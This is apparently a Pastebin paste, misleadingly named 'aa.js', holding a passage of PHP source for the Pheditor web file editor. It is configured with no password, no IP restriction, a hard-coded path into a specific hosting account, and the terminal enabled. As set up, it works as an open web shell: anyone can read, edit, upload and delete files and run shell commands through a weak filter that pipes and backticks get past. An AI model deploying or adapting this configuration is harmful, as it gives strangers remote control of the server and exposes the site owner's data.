breno_eth0

aa.js

Apr 17th, 2021 (edited)
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. /*
  4.  * Pheditor
  5.  * PHP file editor
  6.  * Hamid Samak
  7.  * https://github.com/hamidsamak/pheditor
  8.  * Release under MIT license
  9.  */
  10.  
  11. define('PASSWORD', '');
  12. define('DS', DIRECTORY_SEPARATOR);
  13. define('MAIN_DIR', '/is/htdocs/wp11127972_B9X5ICJYT2/');
  14. define('VERSION', '2.0.0');
  15. define('LOG_FILE', MAIN_DIR . DS . '.phedlog');
  16. define('SHOW_PHP_SELF', false);
  17. define('SHOW_HIDDEN_FILES', false);
  18. define('ACCESS_IP', '');
  19. define('HISTORY_PATH', MAIN_DIR . DS . '.phedhistory');
  20. define('MAX_HISTORY_FILES', 5);
  21. define('WORD_WRAP', true);
  22. define('PERMISSIONS', 'newfile,newdir,editfile,deletefile,deletedir,renamefile,renamedir,changepassword,uploadfile,terminal'); // empty means all
  23. define('PATTERN_FILES', '/^[A-Za-z0-9-_.\/]*\.(txt|php|htm|html|js|css|tpl|md|xml|json)$/i'); // empty means no pattern
  24. define('PATTERN_DIRECTORIES', '/^((?!backup).)*$/i'); // empty means no pattern
  25. define('TERMINAL_COMMANDS', 'ls,ll,cp,rm,mv,whoami,pidof,pwd,whereis,kill,php,date,cd,mkdir,chmod,chown,rmdir,touch,cat,git,find,grep,echo,tar,zip,unzip,whatis,composer,help,locate,pkill');
  26. define('EDITOR_THEME', ''); // e.g. monokai
  27. define('DEFAULT_DIR_PERMISSION', 0755);
  28. define('DEFAULT_FILE_PERMISSION', 0644);
  29.  
  30. if (empty(ACCESS_IP) === false && ACCESS_IP != $_SERVER['REMOTE_ADDR']) {
  31.     die('Your IP address is not allowed to access this page.');
  32. }
  33.  
  34. if (file_exists(LOG_FILE)) {
  35.     $log = unserialize(file_get_contents(LOG_FILE));
  36.  
  37.     if (empty($log)) {
  38.         $log = [];
  39.     }
  40.  
  41.     if (isset($log[$_SERVER['REMOTE_ADDR']]) && $log[$_SERVER['REMOTE_ADDR']]['num'] > 3 && time() - $log[$_SERVER['REMOTE_ADDR']]['time'] < 86400) {
  42.         die('This IP address is blocked due to unsuccessful login attempts.');
  43.     }
  44.  
  45.     foreach ($log as $key => $value) {
  46.         if (time() - $value['time'] > 86400) {
  47.             unset($log[$key]);
  48.  
  49.             $log_updated = true;
  50.         }
  51.     }
  52.  
  53.     if (isset($log_updated)) {
  54.         file_put_contents(LOG_FILE, serialize($log));
  55.     }
  56. }
  57.  
  58. session_set_cookie_params(86400, dirname($_SERVER['REQUEST_URI']));
  59. session_name('pheditor');
  60. session_start();
  61.  
  62. if (empty(PASSWORD) === false && (isset($_SESSION['pheditor_admin']) === false || $_SESSION['pheditor_admin'] !== true)) {
  63.     if (isset($_POST['pheditor_password']) && empty($_POST['pheditor_password']) === false) {
  64.         if (hash('sha512', $_POST['pheditor_password']) === PASSWORD) {
  65.             $_SESSION['pheditor_admin'] = true;
  66.  
  67.             redirect();
  68.         } else {
  69.             $error = 'The entry password is not correct.';
  70.  
  71.             $log = file_exists(LOG_FILE) ? unserialize(file_get_contents(LOG_FILE)) : array();
  72.  
  73.             if (isset($log[$_SERVER['REMOTE_ADDR']]) === false) {
  74.                 $log[$_SERVER['REMOTE_ADDR']] = array('num' => 0, 'time' => 0);
  75.             }
  76.  
  77.             $log[$_SERVER['REMOTE_ADDR']]['num'] += 1;
  78.             $log[$_SERVER['REMOTE_ADDR']]['time'] = time();
  79.  
  80.             file_put_contents(LOG_FILE, serialize($log));
  81.         }
  82.     } else if (isset($_POST['action'])) {
  83.         header('HTTP/1.0 403 Forbidden');
  84.  
  85.         die('Your session has expired.');
  86.     }
  87.  
  88.     die('<title>Pheditor</title><form method="post"><div style="text-align:center"><h1><a href="http://github.com/hamidsamak/pheditor" target="_blank" title="PHP file editor" style="color:#444;text-decoration:none" tabindex="3">Pheditor</a></h1>' . (isset($error) ? '<p style="color:#dd0000">' . $error . '</p>' : null) . '<input id="pheditor_password" name="pheditor_password" type="password" value="" placeholder="Password&hellip;" tabindex="1"><br><br><input type="submit" value="Login" tabindex="2"></div></form><script type="text/javascript">document.getElementById("pheditor_password").focus();</script>');
  89. }
  90.  
  91. if (isset($_GET['logout'])) {
  92.     unset($_SESSION['pheditor_admin']);
  93.  
  94.     redirect();
  95. }
  96.  
  97. $permissions = explode(',', PERMISSIONS);
  98. $permissions = array_map('trim', $permissions);
  99. $permissions = array_filter($permissions);
  100.  
  101. if (count($permissions) < 1) {
  102.     $permissions = explode(',', 'newfile,newdir,editfile,deletefile,deletedir,renamefile,renamedir,changepassword,uploadfile');
  103. }
  104.  
  105. if (isset($_POST['action'])) {
  106.     header('Content-Type: application/json');
  107.  
  108.     if (isset($_POST['file']) && empty($_POST['file']) === false) {
  109.         $_POST['file'] = urldecode($_POST['file']);
  110.  
  111.         if (empty(PATTERN_FILES) === false && !preg_match(PATTERN_FILES, basename($_POST['file']))) {
  112.             die(json_error('Invalid file pattern'));
  113.         }
  114.     }
  115.  
  116.     foreach (['file', 'dir', 'path', 'name', 'destination'] as $value) {
  117.         if (isset($_POST[$value]) && empty($_POST[$value]) === false) {
  118.             $value = urldecode($_POST[$value]);
  119.  
  120.             if (strpos($value, '../') !== false || strpos($value, '..\\') !== false) {
  121.                 die(json_error('Invalid path'));
  122.             }
  123.         }
  124.     }
  125.  
  126.     switch ($_POST['action']) {
  127.         case 'open':
  128.             $_POST['file'] = urldecode($_POST['file']);
  129.  
  130.             if (isset($_POST['file']) && file_exists(MAIN_DIR . $_POST['file'])) {
  131.                 die(json_success('OK', [
  132.                     'data' => file_get_contents(MAIN_DIR . $_POST['file']),
  133.                 ]));
  134.             }
  135.             break;
  136.  
  137.         case 'save':
  138.             $file = MAIN_DIR . $_POST['file'];
  139.  
  140.             if (isset($_POST['file']) && isset($_POST['data']) && (file_exists($file) === false || is_writable($file))) {
  141.                 if (file_exists($file) === false) {
  142.                     if (in_array('newfile', $permissions) !== true) {
  143.                         die(json_error('Permission denied', true));
  144.                     }
  145.  
  146.                     file_put_contents($file, $_POST['data']);
  147.  
  148.                     if (function_exists('chmod')) {
  149.                         chmod($file, DEFAULT_FILE_PERMISSION);
  150.                     }
  151.  
  152.                     echo json_success('File saved successfully');
  153.                 } else if (is_writable($file) === false) {
  154.                     echo json_error('File is not writable');
  155.                 } else {
  156.                     if (in_array('editfile', $permissions) !== true) {
  157.                         die(json_error('Permission denied'));
  158.                     }
  159.  
  160.                     if (file_exists($file)) {
  161.                         file_to_history($file);
  162.                     }
  163.  
  164.                     file_put_contents($file, $_POST['data']);
  165.  
  166.                     echo json_success('File saved successfully');
  167.                 }
  168.             }
  169.             break;
  170.  
  171.         case 'make-dir':
  172.             if (in_array('newdir', $permissions) !== true) {
  173.                 die(json_error('Permission denied'));
  174.             }
  175.  
  176.             $dir = MAIN_DIR . $_POST['dir'];
  177.  
  178.             if (file_exists($dir) === false) {
  179.                 mkdir($dir, DEFAULT_DIR_PERMISSION);
  180.  
  181.                 if (function_exists('chmod')) {
  182.                     chmod($dir, DEFAULT_DIR_PERMISSION);
  183.                 }
  184.  
  185.                 echo json_success('Directory created successfully');
  186.             } else {
  187.                 echo json_error('Directory already exists');
  188.             }
  189.             break;
  190.  
  191.         case 'reload':
  192.             echo json_success('OK', [
  193.                 'data' => files(MAIN_DIR),
  194.             ]);
  195.             break;
  196.  
  197.         case 'password':
  198.             if (in_array('changepassword', $permissions) !== true) {
  199.                 die(json_error('Permission denied'));
  200.             }
  201.  
  202.             if (isset($_POST['password']) && empty($_POST['password']) === false) {
  203.                 $contents = file(__FILE__);
  204.  
  205.                 foreach ($contents as $key => $line) {
  206.                     if (strpos($line, 'define(\'PASSWORD\'') !== false) {
  207.                         $contents[$key] = "define('PASSWORD', '" . hash('sha512', $_POST['password']) . "');\n";
  208.  
  209.                         break;
  210.                     }
  211.                 }
  212.  
  213.                 if (is_writable(__FILE__) === false) {
  214.                     die(json_error('File is not writable'));
  215.                 }
  216.  
  217.                 file_put_contents(__FILE__, implode($contents));
  218.  
  219.                 echo json_success('Password changed successfully');
  220.             }
  221.             break;
  222.  
  223.         case 'delete':
  224.             if (isset($_POST['path']) && file_exists(MAIN_DIR . $_POST['path'])) {
  225.                 $path = MAIN_DIR . $_POST['path'];
  226.  
  227.                 if ($_POST['path'] == '/') {
  228.                     echo json_error('Unable to delete main directory');
  229.                 } else if (is_dir($path)) {
  230.                     if (count(scandir($path)) !== 2) {
  231.                         echo json_error('Directory is not empty');
  232.                     } else if (is_writable($path) === false) {
  233.                         echo json_error('Unable to delete directory');
  234.                     } else {
  235.                         if (in_array('deletedir', $permissions) !== true) {
  236.                             die(json_error('Permission denied'));
  237.                         }
  238.  
  239.                         rmdir($path);
  240.  
  241.                         echo json_success('Directory deleted successfully');
  242.                     }
  243.                 } else {
  244.                     file_to_history($path);
  245.  
  246.                     if (is_writable($path)) {
  247.                         if (in_array('deletefile', $permissions) !== true) {
  248.                             die(json_error('Permission denied'));
  249.                         }
  250.  
  251.                         unlink($path);
  252.  
  253.                         echo json_success('File deleted successfully');
  254.                     } else {
  255.                         echo json_error('Unable to delete file');
  256.                     }
  257.                 }
  258.             }
  259.             break;
  260.  
  261.         case 'rename':
  262.             if (isset($_POST['path']) && file_exists(MAIN_DIR . $_POST['path']) && isset($_POST['name']) && empty($_POST['name']) === false) {
  263.                 $path = MAIN_DIR . $_POST['path'];
  264.                 $new_path = str_replace(basename($path), '', dirname($path)) . DS . $_POST['name'];
  265.  
  266.                 if ($_POST['path'] == '/') {
  267.                     echo json_error('Unable to rename main directory');
  268.                 } else if (is_dir($path)) {
  269.                     if (in_array('renamedir', $permissions) !== true) {
  270.                         die(json_error('Permission denied'));
  271.                     }
  272.  
  273.                     if (is_writable($path) === false) {
  274.                         echo json_error('Unable to rename directory');
  275.                     } else {
  276.                         rename($path, $new_path);
  277.  
  278.                         echo json_success('Directory renamed successfully');
  279.                     }
  280.                 } else {
  281.                     if (in_array('renamefile', $permissions) !== true) {
  282.                         die(json_error('Permission denied'));
  283.                     } else if (empty(PATTERN_FILES) === false && !preg_match(PATTERN_FILES, $_POST['name'])) {
  284.                         die(json_error('Invalid file pattern: ' . htmlspecialchars($_POST['name'])));
  285.                     }
  286.  
  287.                     file_to_history($path);
  288.  
  289.                     if (is_writable($path)) {
  290.                         rename($path, $new_path);
  291.  
  292.                         echo json_success('File renamed successfully');
  293.                     } else {
  294.                         echo json_error('Unable to rename file');
  295.                     }
  296.                 }
  297.             }
  298.             break;
  299.  
  300.         case 'upload-file':
  301.             $files = isset($_FILES['uploadfile']) ? $_FILES['uploadfile'] : [];
  302.             $destination = isset($_POST['destination']) ? rtrim($_POST['destination']) : null;
  303.  
  304.             if (empty($destination) === false && (strpos($destination, '/..') !== false || strpos($destination, '\\..') !== false)) {
  305.                 die(json_error('Invalid file destination'));
  306.             }
  307.  
  308.             $destination = MAIN_DIR . $destination;
  309.  
  310.             if (file_exists($destination) === false || is_dir($destination) === false) {
  311.                 die(json_error('File destination does not exists'));
  312.             }
  313.  
  314.             if (is_writable($destination) !== true) {
  315.                 die(json_error('File destination is not writable'));
  316.             }
  317.  
  318.             if (is_array($files) && count($files) > 0) {
  319.                 for ($i = 0; $i < count($files['name']); $i += 1) {
  320.                     if (empty(PATTERN_FILES) === false && !preg_match(PATTERN_FILES, $files['name'][$i])) {
  321.                         die(json_error('Invalid file pattern: ' . htmlspecialchars($files['name'][$i])));
  322.                     }
  323.  
  324.                     move_uploaded_file($files['tmp_name'][$i], $destination . '/' . $files['name'][$i]);
  325.                 }
  326.  
  327.                 echo json_success('File' . (count($files['name']) > 1 ? 's' : null) . ' uploaded successfully');
  328.             }
  329.             break;
  330.  
  331.         case 'terminal':
  332.             if (in_array('terminal', $permissions) !== false && isset($_POST['command'], $_POST['dir'])) {
  333.                 if (function_exists('shell_exec') === false) {
  334.                     echo json_error("shell_exec function is disabled\n");
  335.  
  336.                     exit;
  337.                 }
  338.  
  339.                 set_time_limit(15);
  340.  
  341.                 $command  = $_POST['command'];
  342.                 $dir = $_POST['dir'];
  343.  
  344.                 if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) {
  345.                     echo json_error("Illegal character(s) in command (& ; ||)\n");
  346.  
  347.                     exit;
  348.                 }
  349.  
  350.                 $command_found = false;
  351.                 $terminal_commands = explode(',', TERMINAL_COMMANDS);
  352.  
  353.                 foreach ($terminal_commands as $value) {
  354.                     $value = trim($value);
  355.  
  356.                     if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) {
  357.                         $command_found = true;
  358.  
  359.                         break;
  360.                     }
  361.                 }
  362.  
  363.                 if ($command_found === false) {
  364.                     foreach ($terminal_commands as $key => $value) {
  365.                         $commands[$key % 3] = isset($commands[$key % 3]) ? $commands[$key % 3] . "\t" . $value : $value;
  366.                     }
  367.  
  368.                     echo json_error("<span class=\"text-danger\">Command not allowed</span>\n<span class=\"text-success\">Available commands:</span>\n" . implode("\n", $commands) . "\n");
  369.  
  370.                     exit;
  371.                 }
  372.  
  373.                 $output = shell_exec((empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd');
  374.                 $output = trim($output);
  375.  
  376.                 if (empty($output)) {
  377.                     $output = null;
  378.                     $dir = null;
  379.                 } else {
  380.                     $output = explode("\n", $output);
  381.                     $dir = end($output);
  382.  
  383.                     unset($output[count($output) - 1]);
  384.  
  385.                     $output = implode("\n", $output);
  386.                     $output = trim($output) . "\n";
  387.                     $output = htmlspecialchars($output);
  388.                 }
  389.  
  390.                 echo json_success('OK', ['result' => $output, 'dir' => $dir]);
  391.             }
  392.             break;
  393.     }
  394.  
  395.     exit;
  396. }
  397.  
  398. function files($dir, $first = true)
  399. {
  400.     $data = '';
  401.  
  402.     if ($first === true) {
  403.         $data .= '<ul><li data-jstree=\'{ "opened" : true }\'><a href="#/" class="open-dir" data-dir="/">' . basename($dir) . '</a>';
  404.     }
  405.  
  406.     $data .= '<ul class="files">';
  407.     $files = array_slice(scandir($dir), 2);
  408.  
  409.     asort($files);
  410.  
  411.     foreach ($files as $key => $file) {
  412.         if ((SHOW_PHP_SELF === false && $dir . DS . $file == __FILE__) || (SHOW_HIDDEN_FILES === false && substr($file, 0, 1) === '.')) {
  413.             continue;
  414.         }
  415.  
  416.         if (is_dir($dir . DS . $file) && (empty(PATTERN_DIRECTORIES) || preg_match(PATTERN_DIRECTORIES, $file))) {
  417.             $dir_path = str_replace(MAIN_DIR . DS, '', $dir . DS . $file);
  418.  
  419.             $data .= '<li class="dir"><a href="#/' . $dir_path . '/" class="open-dir" data-dir="/' . $dir_path . '/">' . $file . '</a>' . files($dir . DS . $file, false) . '</li>';
  420.         } else if (empty(PATTERN_FILES) || preg_match(PATTERN_FILES, $file)) {
  421.             $file_path = str_replace(MAIN_DIR . DS, '', $dir . DS . $file);
  422.  
  423.             $data .= '<li class="file ' . (is_writable($file_path) ? 'editable' : null) . '" data-jstree=\'{ "icon" : "jstree-file" }\'><a href="#/' . $file_path . '" data-file="/' . $file_path . '" class="open-file">' . $file . '</a></li>';
  424.         }
  425.     }
  426.  
  427.     $data .= '</ul>';
  428.  
  429.     if ($first === true) {
  430.         $data .= '</li></ul>';
  431.     }
  432.  
  433.     return $data;
  434. }
  435.  
  436. function redirect($address = null)
  437. {
  438.     if (empty($address)) {
  439.         $address = $_SERVER['PHP_SELF'];
  440.     }
  441.  
  442.     header('Location: ' . $address);
  443.     exit;
  444. }
  445.  
  446. function file_to_history($file)
  447. {
  448.     if (is_numeric(MAX_HISTORY_FILES) && MAX_HISTORY_FILES > 0) {
  449.         $file_dir = dirname($file);
  450.         $file_name = basename($file);
  451.         $file_history_dir = HISTORY_PATH . str_replace(MAIN_DIR, '', $file_dir);
  452.  
  453.         foreach ([HISTORY_PATH, $file_history_dir] as $dir) {
  454.             if (file_exists($dir) === false || is_dir($dir) === false) {
  455.                 mkdir($dir, 0777, true);
  456.             }
  457.         }
  458.  
  459.         $history_files = scandir($file_history_dir);
  460.  
  461.         foreach ($history_files as $key => $history_file) {
  462.             if (in_array($history_file, ['.', '..', '.DS_Store'])) {
  463.                 unset($history_files[$key]);
  464.             }
  465.         }
  466.  
  467.         $history_files = array_values($history_files);
  468.  
  469.         if (count($history_files) >= MAX_HISTORY_FILES) {
  470.             foreach ($history_files as $key => $history_file) {
  471.                 if ($key < 1) {
  472.                     unlink($file_history_dir . DS . $history_file);
  473.                     unset($history_files[$key]);
  474.                 } else {
  475.                     rename($file_history_dir . DS . $history_file, $file_history_dir . DS . $file_name . '.' . ($key - 1));
  476.                 }
  477.             }
  478.         }
  479.  
  480.         copy($file, $file_history_dir . DS . $file_name . '.' . count($history_files));
  481.     }
  482. }
  483.  
  484. function json_error($message, $params = [])
  485. {
  486.     return json_encode(array_merge([
  487.         'error' => true,
  488.         'message' => $message,
  489.     ], $params), JSON_UNESCAPED_UNICODE);
  490. }
  491.  
  492. function json_success($message, $params = [])
  493. {
  494.     return json_encode(array_merge([
  495.         'error' => false,
  496.         'message' => $message,
  497.     ], $params), JSON_UNESCAPED_UNICODE);
  498. }
  499.  
  500. ?>
  501. <!DOCTYPE html>
  502. <html>
  503.  
  504. <head>
  505.     <meta charset="UTF-8">
  506.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  507.     <title>Pheditor</title>
  508.     <link id="favicon" rel="shortcut icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAaVBMVEUAAAAoLTgqLzckLzsmLDUrMDYpLzcqMDooLjcqLjgpLjUpLjcpLTYkLDgrMTYiKS8pMDonKzopMTYxNjwmKzkiJzkjJjMmKzgmLzgnLjUwMTktNDYnKj8pLzcaHCIWGRwnLjkoLjgeJD+rVehhAAAAI3RSTlMAbUFbDldiTVAnc19ZVEUFempkYx0UCYd1PDcwC5RORyMjGhuz37YAAACISURBVBjTbcxXCsMwEATQsb1SrO4muabe/5BZGQKC+P0MDLuDP6SrwjJB9nWhMRgIpRvki+MT4H3MA1woKG0CRnp2G6iFJDlPwD4CtOjAF7Gu/AGhENbhkc4XjH0cAKGPc+MNtm/IctEnlFq4rmHONS5nZbmzQoh7Z2YOK9LvUmFFgUzr7YRLXy5UBfV2oz6WAAAAAElFTkSuQmCC">
  509.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.3.1/css/bootstrap.min.css" />
  510.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/jstree/3.3.7/themes/default/style.min.css" />
  511.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/codemirror.min.css" />
  512.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/lint.min.css">
  513.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/dialog/dialog.min.css">
  514.     <?php if (empty(EDITOR_THEME) === false) : ?>
  515.         <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/theme/<?= EDITOR_THEME ?>.css">
  516.     <?php endif; ?>
  517.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css">
  518.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css">
  519.     <style type="text/css">
  520.         h1,
  521.         h1 a,
  522.         h1 a:hover {
  523.             margin: 0;
  524.             padding: 0;
  525.             color: #444;
  526.             cursor: default;
  527.             text-decoration: none;
  528.         }
  529.  
  530.         #files {
  531.             padding: 20px 10px;
  532.             margin-bottom: 10px;
  533.         }
  534.  
  535.         #files>div {
  536.             overflow: auto;
  537.         }
  538.  
  539.         #path {
  540.             margin-left: 10px;
  541.         }
  542.  
  543.         .dropdown-item.close {
  544.             font-size: 1em !important;
  545.             font-weight: normal;
  546.             opacity: 1;
  547.         }
  548.  
  549.         #loading {
  550.             top: 0;
  551.             left: 0;
  552.             right: 0;
  553.             bottom: 0;
  554.             z-index: 9;
  555.             display: none;
  556.             position: absolute;
  557.             background: rgba(0, 0, 0, 0.5);
  558.         }
  559.  
  560.         .lds-ring {
  561.             margin: 0 auto;
  562.             position: relative;
  563.             width: 64px;
  564.             height: 64px;
  565.             top: 45%;
  566.         }
  567.  
  568.         .lds-ring div {
  569.             box-sizing: border-box;
  570.             display: block;
  571.             position: absolute;
  572.             width: 51px;
  573.             height: 51px;
  574.             margin: 6px;
  575.             border: 6px solid #fff;
  576.             border-radius: 50%;
  577.             animation: lds-ring 1.2s cubic-bezier(0.5, 0, 0.5, 1) infinite;
  578.             border-color: #fff transparent transparent transparent;
  579.         }
  580.  
  581.         .lds-ring div:nth-child(1) {
  582.             animation-delay: -0.45s;
  583.         }
  584.  
  585.         .lds-ring div:nth-child(2) {
  586.             animation-delay: -0.3s;
  587.         }
  588.  
  589.         .lds-ring div:nth-child(3) {
  590.             animation-delay: -0.15s;
  591.         }
  592.  
  593.         @keyframes lds-ring {
  594.             0% {
  595.                 transform: rotate(0deg);
  596.             }
  597.  
  598.             100% {
  599.                 transform: rotate(360deg);
  600.             }
  601.         }
  602.  
  603.         .dropdown-menu {
  604.             min-width: 12rem;
  605.         }
  606.  
  607.         #terminal {
  608.             padding: 5px 10px;
  609.         }
  610.  
  611.         #terminal .toggle {
  612.             cursor: pointer;
  613.         }
  614.  
  615.         #terminal pre {
  616.             background: black;
  617.             color: #ccc;
  618.             padding: 5px 10px 10px 10px;
  619.             border-radius: 5px 5px 0 0;
  620.             margin: 5px 0 0 0;
  621.             height: 200px;
  622.             overflow-y: auto;
  623.         }
  624.  
  625.         #terminal input.command {
  626.             width: 100%;
  627.             background: #333;
  628.             color: #fff;
  629.             border: 0;
  630.             border-radius: 0 0 5px 5px;
  631.             margin-bottom: 5px;
  632.             padding: 5px;
  633.         }
  634.  
  635.         #terminal .btn {
  636.             padding: .5rem .4rem;
  637.             font-size: .875rem;
  638.             line-height: .5;
  639.             border-radius: .2rem;
  640.         }
  641.  
  642.         #terminal #prompt:fullscreen pre {
  643.             margin: 0;
  644.             border-radius: 0;
  645.         }
  646.  
  647.         #terminal #prompt:fullscreen input.command {
  648.             border-radius: 0;
  649.         }
  650.  
  651.         #terminal span.toggle i::before {
  652.             content: "\f107";
  653.         }
  654.  
  655.         #terminal span.toggle.collapsed i::before {
  656.             content: "\f105";
  657.         }
  658.  
  659.         #terminal span.command {
  660.             color: #eee;
  661.         }
  662.     </style>
  663.     <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.js"></script>
  664.     <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
  665.     <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
  666.     <script src="https://cdnjs.cloudflare.com/ajax/libs/jstree/3.3.7/jstree.min.js"></script>
  667.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/codemirror.min.js"></script>
  668.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/javascript/javascript.min.js"></script>
  669.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/css/css.min.js"></script>
  670.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/php/php.min.js"></script>
  671.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/xml/xml.min.js"></script>
  672.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/htmlmixed/htmlmixed.js"></script>
  673.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/markdown/markdown.js"></script>
  674.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/clike/clike.min.js"></script>
  675.     <script src="https://cdnjs.cloudflare.com/ajax/libs/jshint/2.10.2/jshint.min.js"></script>
  676.     <script src="https://cdnjs.cloudflare.com/ajax/libs/jsonlint/1.6.0/jsonlint.min.js"></script>
  677.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/lint.min.js"></script>
  678.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/javascript-lint.min.js"></script>
  679.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/json-lint.min.js"></script>
  680.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/css-lint.min.js"></script>
  681.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/search/search.min.js"></script>
  682.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/search/searchcursor.min.js"></script>
  683.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/search/jump-to-line.min.js"></script>
  684.     <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/dialog/dialog.min.js"></script>
  685.     <script src="https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js"></script>
  686.     <script src="https://cdnjs.cloudflare.com/ajax/libs/js-sha512/0.8.0/sha512.min.js"></script>
  687.     <script type="text/javascript">
  688.         var editor,
  689.             modes = {
  690.                 "js": "javascript",
  691.                 "json": "javascript",
  692.                 "md": "text/x-markdown"
  693.             },
  694.             last_keyup_press = false,
  695.             last_keyup_double = false,
  696.             terminal_history = 1;
  697.  
  698.         function alertBox(title, message, color) {
  699.             iziToast.show({
  700.                 title: title,
  701.                 message: message,
  702.                 color: color,
  703.                 position: "bottomRight",
  704.                 transitionIn: "fadeInUp",
  705.                 transitionOut: "fadeOutRight",
  706.             });
  707.         }
  708.  
  709.         function reloadFiles(hash) {
  710.             $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  711.                 action: "reload"
  712.             }, function(data) {
  713.                 $("#files > div").jstree("destroy");
  714.                 $("#files > div").html(data.data);
  715.                 $("#files > div").jstree();
  716.                 $("#files > div a:first").click();
  717.                 $("#path").html("");
  718.  
  719.                 window.location.hash = hash || "/";
  720.  
  721.                 if (hash) {
  722.                     $("#files a[data-file=\"" + hash + "\"], #files a[data-dir=\"" + hash + "\"]").click();
  723.                 }
  724.             });
  725.         }
  726.  
  727.         function setCookie(name, value, timeout) {
  728.             if (timeout) {
  729.                 var date = new Date();
  730.                 date.setTime(date.getTime() + (timeout * 1000));
  731.                 timeout = "; expires=" + date.toUTCString();
  732.             } else {
  733.                 timeout = "";
  734.             }
  735.  
  736.             document.cookie = name + "=" + encodeURIComponent(value) + timeout + "; path=/";
  737.         }
  738.  
  739.         function getCookie(name) {
  740.             var cookies = document.cookie.split(';');
  741.  
  742.             for (var i = 0; i < cookies.length; i++) {
  743.                 if (cookies[i].trim().indexOf(name + "=") == 0) {
  744.                     return decodeURIComponent(cookies[i].trim().substring(name.length + 1).trim());
  745.                 }
  746.             }
  747.  
  748.             return false;
  749.         }
  750.  
  751.         $(function() {
  752.             editor = CodeMirror.fromTextArea($("#editor")[0], {
  753.                 <?php if (empty(EDITOR_THEME) === false) : ?>
  754.                     theme: "<?= EDITOR_THEME ?>",
  755.                 <?php endif; ?>
  756.                 lineNumbers: true,
  757.                 mode: "application/x-httpd-php",
  758.                 indentUnit: 4,
  759.                 indentWithTabs: true,
  760.                 lineWrapping: true,
  761.                 gutters: ["CodeMirror-lint-markers"],
  762.                 lint: true
  763.             });
  764.  
  765.             $("#files > div").jstree({
  766.                 state: {
  767.                     key: "pheditor"
  768.                 },
  769.                 plugins: ["state"]
  770.             });
  771.  
  772.             $("#files").on("dblclick", "a[data-file]", function(event) {
  773.                 event.preventDefault();
  774.                 <?php
  775.  
  776.                 $base_dir = str_replace($_SERVER['DOCUMENT_ROOT'], '', str_replace(DS, '/', MAIN_DIR));
  777.  
  778.                 if (substr($base_dir, 0, 1) !== '/') {
  779.                     $base_dir = '/' . $base_dir;
  780.                 }
  781.  
  782.                 ?>
  783.                 window.open("<?= $base_dir ?>" + $(this).attr("data-file"));
  784.             });
  785.  
  786.             $("a.change-password").click(function() {
  787.                 var password = prompt("Please enter new password:");
  788.  
  789.                 if (password != null && password.length > 0) {
  790.                     $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  791.                         action: "password",
  792.                         password: password
  793.                     }, function(data) {
  794.                         alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
  795.                     });
  796.                 }
  797.             });
  798.  
  799.             $(".dropdown .new-file").click(function() {
  800.                 var path = $("#path").html();
  801.  
  802.                 if (path.length > 0) {
  803.                     var name = prompt("Please enter file name:", "new-file.php"),
  804.                         end = path.substring(path.length - 1),
  805.                         file = "";
  806.  
  807.                     if (name != null && name.length > 0) {
  808.                         if (end == "/") {
  809.                             file = path + name;
  810.                         } else {
  811.                             file = path.substring(0, path.lastIndexOf("/") + 1) + name;
  812.                         }
  813.  
  814.                         $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  815.                             action: "save",
  816.                             file: file,
  817.                             data: ""
  818.                         }, function(data) {
  819.                             alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
  820.  
  821.                             if (data.error == false) {
  822.                                 reloadFiles();
  823.                             }
  824.                         });
  825.                     }
  826.                 } else {
  827.                     alertBox("Warning", "Please select a file or directory", "yellow");
  828.                 }
  829.             });
  830.  
  831.             $(".dropdown .new-dir").click(function() {
  832.                 var path = $("#path").html();
